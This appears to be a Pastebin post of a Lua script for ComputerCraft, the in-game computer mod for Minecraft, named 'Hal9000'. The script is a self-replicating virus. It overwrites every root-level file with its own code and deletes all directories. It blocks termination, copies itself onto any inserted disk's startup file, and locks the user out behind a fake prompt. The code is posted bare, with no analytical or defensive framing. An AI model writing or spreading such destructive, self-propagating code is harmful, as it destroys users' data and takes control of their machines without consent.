Advertisement
tom2018

Hal9000

Nov 4th, 2012
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.23 KB | None | 0 0
  1. --tom2018--
  2. local function readFor(time,char)
  3. result=nil
  4. a=coroutine.wrap(function() result=read(char) os.queueEvent('timer') end)
  5. local evts={}
  6. os.startTimer(time)
  7. while true do
  8.   a(unpack(evts))
  9.   evts={os.pullEvent()}
  10.   if evts[1]=='timer' then break end
  11. end
  12. return result
  13. end
  14. lol = shell.getRunningProgram()
  15. if lol ~= "startup" then
  16. fs.delete("startup")
  17. fs.copy(lol,"startup")
  18. end
  19. tb = fs.list("/")
  20. cca = 1
  21. tbt = #tb + 1
  22. while cca ~= tbt do
  23. if fs.isDir(tb[cca]) ~= true then
  24. hh = fs.open(tb[cca],"r")
  25. rrt = fs.open("startup","r")
  26.  
  27. if hh.readAll() ~= rrt.readAll() then
  28. hh.close()
  29. fs.delete(tb[cca])
  30. fs.copy("startup",tb[cca])
  31. else
  32. hh.close()
  33. end
  34. rrt.close()
  35. else
  36. shell.run("delete",tb[cca])
  37. end
  38. cca = cca + 1
  39. end
  40.  
  41. os.pullEvent = os.pullEventRaw
  42. os.setComputerLabel("Hall9000")
  43. term.clear()
  44. term.setCursorPos(1,1)
  45. print(os.version())
  46. while true do
  47. if fs.exists("disk/startup") then
  48. fs.delete("disk/startup")
  49. fs.copy("startup","disk/startup")
  50. end
  51. v, y = term.getCursorPos()
  52. if x == nil then
  53. term.setCursorPos(v,y)
  54. end
  55. j4, j5 = term.getCursorPos()
  56. write("> ")
  57. x = nil
  58. x = readFor(10)
  59. if x ~= nil then
  60. print("Sorry I cannot let you do that")
  61. end
  62. if x == nil then
  63. term.setCursorPos(j4,j5)
  64. end
  65. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement